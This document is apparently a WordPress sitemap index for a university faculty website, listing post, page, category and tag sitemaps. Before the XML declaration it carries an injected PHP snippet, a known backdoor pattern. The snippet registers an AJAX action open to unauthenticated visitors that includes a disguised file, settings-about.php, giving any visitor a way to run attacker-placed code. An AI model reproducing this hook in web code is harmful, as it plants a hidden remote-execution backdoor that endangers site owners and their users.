if(!function_exists('file_manager_check_dt')){
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings-about.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="https://ftv.upsi.edu.my/sitemaps_xsl.xsl"?>
<sitemapindex xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/siteindex.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<sitemap>
<loc>https://ftv.upsi.edu.my/post-sitemap1.xml</loc>
<lastmod>2024-02-07T09:31:31+00:00</lastmod>
</sitemap>
<sitemap>
<loc>https://ftv.upsi.edu.my/page-sitemap1.xml</loc>
<lastmod>2025-05-23T04:53:42+00:00</lastmod>
</sitemap>
<sitemap>
<loc>https://ftv.upsi.edu.my/category-sitemap1.xml</loc>
</sitemap>
<sitemap>
<loc>https://ftv.upsi.edu.my/post_tag-sitemap1.xml</loc>
</sitemap>
</sitemapindex>